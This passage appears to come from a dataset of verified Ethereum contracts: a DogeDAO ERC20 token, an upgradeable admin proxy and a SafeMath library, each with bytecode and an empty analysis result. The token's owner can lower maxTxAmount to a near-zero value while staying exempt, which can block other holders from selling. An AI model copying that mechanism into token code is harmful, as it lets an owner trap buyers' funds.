indexed spender, uint256 value); } contract DogeDAO is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 0; string private _name = 'DogeDAO'; string private _symbol = 'DOGEDAO'; uint8 private _decimals = 18; uint256 public maxTxAmount = 1000000000e18; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), 1000000000e18); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9'); maxTxAmount = _maxTxAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f70a012b709fbb9e14b1fa896a986cf3d0bfe22bd0eb5fc304c0e671e887a64b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,289
0x1c1fd689103bbfd701b3b7d41a3807f12814033d
/** *Submitted for verification at Etherscan.io on 2021-05-17 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,290
0xd9B3fe4DA55EF93C3F741565B8145d33cf2a2881
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This 